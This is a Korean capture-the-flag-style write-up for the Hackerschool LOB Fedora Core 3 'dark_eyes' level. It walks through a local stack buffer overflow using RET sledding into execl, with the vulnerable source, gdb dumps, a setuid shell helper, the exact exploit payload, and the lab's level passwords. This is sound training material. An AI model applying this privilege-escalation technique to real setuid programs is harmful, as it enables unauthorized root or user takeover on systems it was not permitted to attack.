해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이

해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이

---

M4ndU

---

해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이입니다.

ID | iron_golem

PW | blood on the fedora

으로 로그인합니다.

$ ls -l

를 이용해  어떤 파일과 폴더가 있는지 확인하고,

$ cat [문제이름].c

를 이용해 소스코드를 확인합니다.

---

[iron_golem@Fedora_1stFloor ~]$ cat dark_eyes.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/

int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        // save sfp

        memcpy(saved_sfp, buffer+264, 4);

        // overflow!!

        strcpy(buffer, argv[1]);

        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);

        printf("%s\n", buffer);

}

이번에는 sfp 변조가 막혀있어 fake EBP를 사용할 수 없다.

buffer+264 다음에 sfp인 것을 보니 buffer[256]과 dummy[8]이 있는 것 같다.

그렇지만 ret주소는 변조가 가능하고, 힌트에도 RET sleding을 사용하라고 되어 있다.

이번에도 execl함수를 사용할 것이고, 매개변수로 넘길 값을 찾아야 한다.

(gdb) b *main+3

Breakpoint 1 at 0x804840b

(gdb) r

Starting program: /home/iron_golem/dark_eyes

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x0804840b in main ()

(gdb) x/10wx $ebp

0xfeeb59a8:     0xfeeb5a08      0x00730e33      0x00000001      0xfeeb5a34

0xfeeb59b8:     0xfeeb5a3c      0x0070eab6      0x0083eff4      0x00000000

0xfeeb59c8:     0xfeeb59c0      0xfeeb5a08

(gdb) x/wx 0x0070eab6

0x70eab6 <fixup+150>:   0x83f0558b

(gdb) x/wx 0x0083eff4

0x83eff4 <svcauthsw+712>:       0x0083ed3c

$ebp+24인 0x0083eff4가 최하위바이트가 0x00인 0x0083ed3c을 가리키고 있다.

이 값을 파일명으로하는 쉘 프로그램을 작성하고

이 파일명를 execl함수의 매개변수로 넘겨주면 된다.

execl함수는 ebp+8에 있는 값을 매개변수로 받는다.

RET를 3번 호출하면 pop을 4번하고 execl 프롤로그에서 push ebp, mov ebp esp 해서 0x0083eff4 == ebp+8 이 될 수 있다. 

페이로드 구성이 이렇게 된다.

dummy[268](sfp도 덮어야함) + RET[4] + RET[4] + RET[4] + execl()[4]

(gdb) p execl

$1 = {<text variable, no debug info>} 0x7a5720 <execl>

execl함수의 주소는 0x7a5720이다.

쉘 프로그램을 작성하고 0x0083ed3c을 파일명으로 컴파일 한다.

[iron_golem@Fedora_1stFloor ~]$ vi sh.c

[iron_golem@Fedora_1stFloor ~]$ cat sh.c

#include <stdio.h>

#include <stdlib.h>

int main(void)

{

        setreuid(geteuid(),geteuid());

        setregid(getegid(),getegid());

        system("/bin/sh");

}

[iron_golem@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x3c\xed\x83"'` sh.c

이제 RET주소를 가져오자

0x080484b9 <main+177>:  ret

exploit!

./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA뫈뭐?

Segmentation fault

...안된다...

(gdb) b *main+176

Breakpoint 1 at 0x80484b8

(gdb) r `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

Starting program: /home/iron_golem/dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

(no debugging symbols found)...(no debugging symbols found)...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(l萃뭐퉬

Breakpoint 1, 0x080484b8 in main ()

(gdb) x/10wx $ebp

0xfef56bc8:     0xfef56c28      0x080484b9      0x080484b9      0x080484b9

0xfef56bd8:     0xfef56c00      0x0070eab6      0x0083eff4      0x00000000

0xfef56be8:     0xfef56be0      0xfef56c28

(gdb) x/10wx $ebp-8

0xfef56bc0:     0x41414141      0x41414141      0xfef56c28      0x080484b9

0xfef56bd0:     0x080484b9      0x080484b9      0xfef56c00      0x0070eab6

0xfef56be0:     0x0083eff4      0x00000000

메모리를 확인해보니, RET까지 잘 들어갔는데 execl함수 주소가 들어가지 않았다. \x20이 문제인거 같다.

0x7a571e <execle+270>:  nop

0x7a571f <execle+271>:  nop

0x7a5720 <execl>:       push   ebp

0x7a5721 <execl+1>:     mov    ebp,esp

execl함수주소 윗부분이 nop으로 되어있기 때문에 \x20을 \x1f로 바꾸어도 상관이 없다.

다시 exploit!

./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`

[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8

澱뭐퉉z

sh-3.00$ my-pass

euid = 502

because of you

클리어!